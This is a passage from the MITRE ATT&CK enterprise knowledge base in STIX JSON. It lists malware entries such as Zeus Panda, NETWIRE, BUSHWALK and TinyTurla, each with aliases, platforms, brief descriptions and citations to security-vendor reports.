"S0086"}, {"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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(Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Edward Millington"], "x_mitre_aliases": ["RedLeaves", "BUGJUICE"], "type": "malware", "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0153", "external_id": "S0153"}, {"source_name": "RedLeaves", "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)"}, {"source_name": "BUGJUICE", "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. 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Retrieved October 12, 2016.", "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"}], "modified": "2018-10-17T00:14:20.652Z", "name": "Miner-C", "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. 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It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. 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(2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Felismus"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", "type": "malware", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0171", "external_id": "S0171"}, {"source_name": "Felismus", "description": "(Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)"}, {"url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", "source_name": "Symantec Sowbug Nov 2017"}, {"url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware", "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", "source_name": "Forcepoint Felismus Mar 2017"}], "modified": "2020-03-30T18:52:30.568Z", "name": "Felismus", "description": "[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T20:31:00.234Z", "name": "Zeus Panda", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)\u2019s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_aliases": ["Zeus Panda"], "type": "malware", "id": "malware--198db886-47af-4f4c-bff5-11b891f85946", "created": "2019-01-29T17:59:43.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0330", "external_id": "S0330"}, {"source_name": "Zeus Panda", "description": "(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)"}, {"source_name": "Talos Zeus Panda Nov 2017", "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More"}, {"source_name": "GDATA Zeus Panda June 2017", "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["GeminiDuke"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", "type": "malware", "created": "2017-05-31T21:32:36.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0049", "external_id": "S0049"}, {"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "source_name": "F-Secure The Dukes"}], "modified": "2020-03-30T16:43:20.186Z", "name": "GeminiDuke", "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:46:42.264Z", "name": "CARROTBAT", "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["CARROTBAT"], "type": "malware", "id": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", "created": "2020-06-02T14:11:40.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0462", "external_id": "S0462"}, {"source_name": "Unit 42 CARROTBAT November 2018", "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.", "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"}, {"source_name": "Unit 42 CARROTBAT January 2020", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Matryoshka"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", "type": "malware", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0167", "external_id": "S0167"}, {"source_name": "Matryoshka", "description": "(Citation: ClearSky Wilted Tulip July 2017)"}, {"source_name": "ClearSky Wilted Tulip July 2017", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}, {"source_name": "CopyKittens Nov 2015", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}], "modified": "2021-04-23T20:13:32.050Z", "name": "Matryoshka", "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", "x_mitre_version": "2.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Center for Threat-Informed Defense (CTID)"], "x_mitre_aliases": ["FrameworkPOS", "Trinity"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--1cdbbcab-903a-414d-8eb0-439a97343737", "type": "malware", "created": "2020-09-08T14:55:46.094Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0503", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0503"}, {"source_name": "Trinity", "description": "(Citation: SentinelOne FrameworkPOS September 2019)"}, {"source_name": "SentinelOne FrameworkPOS September 2019", "url": "https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/", "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}], "modified": "2020-10-19T19:44:15.357Z", "name": "FrameworkPOS", "description": "[FrameworkPOS](https://attack.mitre.org/software/S0503) is a point of sale (POS) malware used by [FIN6](https://attack.mitre.org/groups/G0037) to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:25:20.119Z", "name": "GravityRAT", "description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. 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Retrieved May 16, 2018.", "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-26T19:55:54.848Z", "name": "WEBC2", "description": "[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. 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APT1 Exposing One of China\u2019s Cyber Espionage Units. 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[OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Brave Prince"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "S0252", "url": "https://attack.mitre.org/software/S0252"}, {"source_name": "Brave Prince", "description": "(Citation: McAfee Gold Dragon)"}, {"source_name": "McAfee Gold Dragon", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. 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(2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. 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(2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2022-03-15T20:08:18.786Z", "name": "AppleSeed", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial  targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-28T19:04:24.485Z", "name": "BUSHWALK", "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://attack.mitre.org/campaigns/C0029).(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "x_mitre_platforms": ["Network"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["BUSHWALK"], "type": "malware", "id": "malware--29a0bb87-1162-4c83-9834-2a98a876051b", "created": "2024-03-07T20:16:36.898Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1118", "external_id": "S1118"}, {"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-19T21:01:46.587Z", "name": "macOS.OSAMiner", "description": "[macOS.OSAMiner](https://attack.mitre.org/software/S1048) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://attack.mitre.org/software/S1048) may have been circulating since at least 2015. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.(Citation: SentinelLabs reversing run-only applescripts 2021)(Citation: VMRay OSAMiner dynamic analysis 2021)", "x_mitre_platforms": ["macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["macOS.OSAMiner"], "type": "malware", "id": "malware--2a59a237-1530-4d55-91f9-2aebf961cc37", "created": "2022-10-04T06:35:40.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1048", "external_id": "S1048"}, {"source_name": "SentinelLabs reversing run-only applescripts 2021", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.", "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}, {"source_name": "VMRay OSAMiner dynamic analysis 2021", "description": "VMRAY. (2021, January 14). Malware Analysis Spotlight: OSAMiner Uses Run-Only AppleScripts to Evade Detection. Retrieved October 4, 2022.", "url": "https://www.vmray.com/cyber-security-blog/osaminer-uses-applescripts-evade-detection-malware-analysis-spotlight/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["LOWBALL"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", "type": "malware", "created": "2017-05-31T21:32:33.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0042", "external_id": "S0042"}, {"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2020-03-30T16:56:27.375Z", "name": "LOWBALL", "description": "[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-20T20:04:20.149Z", "name": "NETWIRE", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)", "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.6", "x_mitre_contributors": ["Tony Lambert, Red Canary"], "x_mitre_aliases": ["NETWIRE"], "type": "malware", "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0198", "external_id": "S0198"}, {"source_name": "NETWIRE", "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)"}, {"source_name": "FireEye APT33 Webinar Sept 2017", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", "url": "https://www.brighttalk.com/webcast/10703/275683"}, {"source_name": "McAfee Netwire Mar 2015", "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"}, {"source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-26T20:20:44.580Z", "name": "TinyTurla", "description": "[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Kyaw Pyiyt Htet, @KyawPyiytHtet", "Massimiliano Romano, BT Security"], "x_mitre_aliases": ["TinyTurla"], "type": "malware", "id": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "created": "2021-12-02T15:09:20.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0668", "external_id": "S0668"}, {"source_name": "Talos TinyTurla September 2021", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:23:58.415Z", "name": "PyDCrypt", "description": "[PyDCrypt](https://attack.mitre.org/software/S1032) is malware written in Python designed to deliver [DCSrv](https://attack.mitre.org/software/S1033). It has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021, with each sample tailored for its intended victim organization.(Citation: Checkpoint MosesStaff Nov 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Pooja Natarajan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India"], "x_mitre_aliases": ["PyDCrypt"], "type": "malware", "id": "malware--2ac41e8b-4865-4ced-839d-78e7852c47f3", "created": "2022-08-11T22:00:20.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1032", "external_id": "S1032"}, {"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. 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First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:55:51.310Z", "name": "BADHATCH", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) is a backdoor that has been utilized by [FIN8](https://attack.mitre.org/groups/G0061) since at least 2019. [BADHATCH](https://attack.mitre.org/software/S1081) has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Serhii Melnyk, Trustwave SpiderLabs"], "x_mitre_aliases": ["BADHATCH"], "type": "malware", "id": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "created": "2023-08-01T18:07:26.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1081", "external_id": "S1081"}, {"source_name": "Gigamon BADHATCH Jul 2019", "description": "Savelesky, K., et al. (2019, July 23). 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Retrieved November 20, 2020.", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-28T17:21:55.473Z", "name": "PowerLess", "description": "[PowerLess](https://attack.mitre.org/software/S1012) is a PowerShell-based modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Cybereason PowerLess February 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["PowerLess"], "type": "malware", "id": "malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4", "created": "2022-06-01T20:20:02.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1012", "external_id": "S1012"}, {"source_name": "Cybereason PowerLess February 2022", "description": "Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) is a  remote access tool written in Delphi that has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 against Indian and Afghani government personnel.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:33:12.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Action RAT", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:56:34.181Z", "name": "Avenger", "description": "[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Avenger"], "type": "malware", "id": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "created": "2020-06-11T15:24:48.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0473", "external_id": "S0473"}, {"source_name": "Trend Micro Tick November 2019", "description": "Chen, J. et al. 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[ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ESET"], "x_mitre_aliases": ["InvisiMole"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0260", "external_id": "S0260"}, {"source_name": "InvisiMole", "description": "(Citation: ESET InvisiMole June 2018)"}, {"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. 